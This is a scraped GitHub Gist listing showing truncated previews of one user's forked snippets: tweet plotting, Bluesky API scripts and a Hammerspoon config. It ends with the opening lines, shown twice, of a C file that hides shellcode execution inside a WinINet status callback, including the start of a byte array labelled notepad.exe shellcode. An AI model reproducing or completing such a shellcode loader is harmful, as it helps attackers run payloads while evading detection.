Skip to content

Instantly share code, notes, and snippets.

@syndrowm
syndrowm / tweet-plot-intstructions.md
Created November 23, 2024 23:31 — forked from tomnomnom/tweet-plot-intstructions.md
Plotting tweets over time

Plotting tweets with gnuplot

Guide to producing a chart like this one.

This is a bit of a hack job, natch.

Grab your Twitter archive and extract it. You need to find data/tweet-headers.js and make a copy of it:

cp data/tweet-headers.js tweets.json
# /// script
# dependencies = [
# "atproto"
# ]
# ///
from atproto import Client
import getpass
import time
@syndrowm
syndrowm / main.sh
Created November 26, 2024 03:24 — forked from pojntfx/main.sh
Bluesky/AT Protocol: cURL API Interaction Cheatsheet
#!/bin/bash
# This script resolves a DID, retrieves an API key, fetches a user's feed,
# and posts a "Hello, world" message to the user's feed.
# Resolve DID for handle
HANDLE='felicitas.pojtinger.com'
DID_URL="https://bsky.social/xrpc/com.atproto.identity.resolveHandle"
export DID=$(curl -G \
--data-urlencode "handle=$HANDLE" \
@syndrowm
syndrowm / init.lua
Created July 30, 2025 00:52 — forked from rodgtr1/init.lua
Hammerspoon to toggle terminal, 40% to the right, on top
-- Hammerspoon Terminal Toggle with Double-Shift
-- Toggles terminal (Ghostty) visibility with double-shift keypress
-- Positions terminal on right side of screen
-- I use it for quick Claude Code access
-- Basic Hammerspoon setup
hs.hotkey.bind({"cmd", "alt", "ctrl"}, "R", function()
hs.reload()
hs.alert.show("Hammerspoon config reloaded")
end)
@syndrowm
syndrowm / JasonToddIsTheBestRobin.c
Created August 25, 2025 01:01 — forked from whokilleddb/JasonToddIsTheBestRobin.c
Unnecessarily complicated way of controlling shellcode execution using InternetStatusCallback()
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#pragma comment(lib, "wininet.lib")
// notepad.exe shellcode
char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52,
@syndrowm
syndrowm / JasonToddIsTheBestRobin.c
Created August 25, 2025 01:01 — forked from whokilleddb/JasonToddIsTheBestRobin.c
Unnecessarily complicated way of controlling shellcode execution using InternetStatusCallback()
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#pragma comment(lib, "wininet.lib")
// notepad.exe shellcode
char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52,